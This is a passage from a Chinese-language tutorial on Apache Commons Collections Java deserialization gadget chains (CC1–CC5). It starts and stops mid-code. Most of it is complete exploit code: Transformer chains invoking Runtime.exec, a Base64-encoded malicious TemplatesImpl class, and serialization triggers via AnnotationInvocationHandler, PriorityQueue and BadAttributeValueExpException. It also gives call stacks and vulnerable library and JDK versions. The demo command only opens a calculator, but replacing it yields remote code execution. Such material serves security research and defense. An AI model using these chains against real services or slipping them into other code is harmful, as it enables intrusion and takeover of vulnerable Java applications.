hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
Transformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}
###输出
弹出计算器
### 二、CC1
* * *
通过 AnnotationInvocationHandler 类触发 LazyMap 的 get 方法。
简化版 AnnotationInvocationHandler 类的代码：
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
//构造函数，可传入 LazyMap
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
//利用 invoke 方法可实现调用 LazyMap#get
public Object invoke(Object var1, Method var2, Object[] var3) {
Object var6 = this.memberValues.get(var4);
}
}
AnnotationInvocationHandler 类 readObject 方法代码：关键点在
this.memberValues.entrySet() ，这里我们可以为 memberValues 传入一个代理对象。通过 java
的动态代理机制，使其最终触发 AnnotationInvocationHandler 类的 invoke 方法，从而实现触发 LazyMap.get()。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
**测试环境** ：3.1-3.2.1 jdk版本小于u71
package Apache_Common_Collections.cc_1_7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
try {
//反射获取AnnotationInvocationHandler实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
//动态代理类，设置一个D代理对象，为了触发 AnnotationInvocationHandler#invoke
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
大体调用栈：
->AnnotationInvocationHandler.readObject()
->mapProxy.entrySet().iterator() //动态代理类
->AnnotationInvocationHandler.invoke()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………
### 三、CC3
* * *
**测试环境** ：3.1-3.2.1，jdk7u21及以前
对 CC1 进行了一些修改。引入了 TemplatesImpl 来加载字节码，去掉了 InvokerTransformer ，引入了
InstantiateTransformer。TemplatesImpl、InstantiateTransformer、TrAXFilter
上面1.6已经介绍了，这里不再赘述。如何通过 AnnotationInvocationHandler.readObject() 来触发
LazyMap.get() 也与上面的 CC1 一致。
public class CommonsCollections3 {
public static void main(String[] args) {
try{
//字节码
byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
//反射获取AnnotationInvocationHandler实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
//动态代理类，为了触发 AnnotationInvocationHandler#invoke
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}
大体调用栈：
->AnnotationInvocationHandler.readObject()
->mapProxy.entrySet().iterator() //动态代理类
->AnnotationInvocationHandler.invoke()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newTransformer()
->…………
### 四、CC2
* * *
利用条件比较苛刻：首先 CommonsCollections3 中无法使用，因为其 TransformingComparator 无法序列化。其次只有
CommonsCollections4-4.0 可以使用，因为 CommonsCollections4 其他版本去掉了 InvokerTransformer
的 Serializable 继承，导致无法序列化。
这里需要引入两个新的类，首先是 PriorityQueue 部分关键代码如下：
public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable {
private transient Object[] queue; //关键点，可以传入 TemplatesImpl
private final Comparator<? super E> comparator; //关键点可以反射设置我们自己的 Comparator
//关键点，反序列化时字段执行的 readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//关键点，调用 heapify() 排序
heapify();
}
//跟进 heapify() 方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
//跟进 siftDown 方法，如果 comparator 不为空，调用 siftDownUsingComparator
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
//跟进 siftDownUsingComparator 方法，可以看到这里调用了我们自定义的 Comparator
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0) //关键点
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
}
可以看到其反序列化时调用 readObject 方法，然后最终会调用 我们自定义的 Comparator 的 compare 方法。那么这个自定义的
Comparator 我们要怎么实现呢？
借助 TransformingComparator 类，可以看到其 Comparator 方法中会调用
this.transformer.transform()。这是一个关键点，毕竟拿到 Transformer.transform() 就什么都好说。
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public int compare(I obj1, I obj2) {
//关键点
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}
最后我们实现的代码如下：
package Apache_Common_Collections.cc_1_7;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollections2 {
public static void main(String[] args) {
try{
//字节码
byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
//为了执行 templates.newTransformer
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
//TransformingComparator 实例
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
//PriorityQueue 实例
PriorityQueue priorityQueue = new PriorityQueue(2);
//先设置为正常变量值，后面可以通过setFieldValue修改
priorityQueue.add(1);
priorityQueue.add(1);
//反射设置 Field
Object[] objects = new Object[]{templates, templates};
setFieldValue(priorityQueue, "queue", objects);
setFieldValue(priorityQueue, "comparator", comparator);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}
大体调用栈：
->PriorityQueue.readObject()
->PriorityQueue.heapify()
->PriorityQueue.siftDown()
->PriorityQueue.siftDownUsingComparator()
->TransformingComparator.compare()
->InvokerTransformer.transform()
->TemplatesImpl.newTransformer()
->…………
### 五、CC4
* * *
**测试环境** ：4.0，jdk7u21及以前
上面 CC2 说了因为 CommonsCollections4 除4.0的其他版本去掉了 InvokerTransformer 的 Serializable
继承，导致无法序列化。所以我们是否可以不使用 InvokerTransformer 呢？于是便有了 CC4，CC4 只是将 CC2 中的
InvokerTransformer 替换为了 InstantiateTransformer。
package Apache_Common_Collections.cc_1_7;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
//与cc2类似
//InvokeTransformer 变为 InstantiateTransformer
public class CommonsCollections4 {
public static void main(String[] args) {
try{
//字节码
byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//TransformingComparator 实例
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
//PriorityQueue 实例
PriorityQueue priorityQueue = new PriorityQueue(2);
//先设置为正常变量值，后面可以通过setFieldValue修改
priorityQueue.add(1);
priorityQueue.add(1);
//反射设置 Field
Object[] objects = new Object[]{templates, templates};
setFieldValue(priorityQueue, "queue", objects);
setFieldValue(priorityQueue, "comparator", comparator);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
} catch (Exception e) {
e.printStackTrace();
}
}
//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}
大体调用栈：
->PriorityQueue.readObject()
->PriorityQueue.heapify()
->PriorityQueue.siftDown()
->PriorityQueue.siftDownUsingComparator()
->TransformingComparator.compare()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newTransformer()
->…………
### 六、CC5
* * *
**测试环境** ：3.1-3.2.1，jdk1.8
这里我们又回到了去触发 LazyMap.get()，只不过我们改变了 LazyMap.get() 的触发方式，不再和 CC1 和 CC3 一样借助
AnnotationInvocationHandler 的反序列化触发。
这里引入新类 TiedMapEntry：
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
//构造函数，显然我们可以控制 this.map 为 LazyMap
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
//toString函数，注意这里调用了 getValue()
public String toString() {
return this.getKey() + "=" + this.getValue();
}
//跟进 getValue(), 这是关键点 this.map.get() 触发 LazyMap.get()
public Object getValue() {
return this.map.get(this.key);
}
}
综上，通过 TiedMapEntry.toString() 可触发 LazyMap.get()
那么有没有一个类可以在反序列化时触发 TiedMapEntry.toString() 呢？ BadAttributeValueExpException！
public class BadAttributeValueExpException extends Exception {
private Object val; //这里可以控制 val 为 TiedMapEntry
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); //这里是关键点，调用toString()
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
最终实现代码：
package Apache_Common_Collections.cc_1_7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections5 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
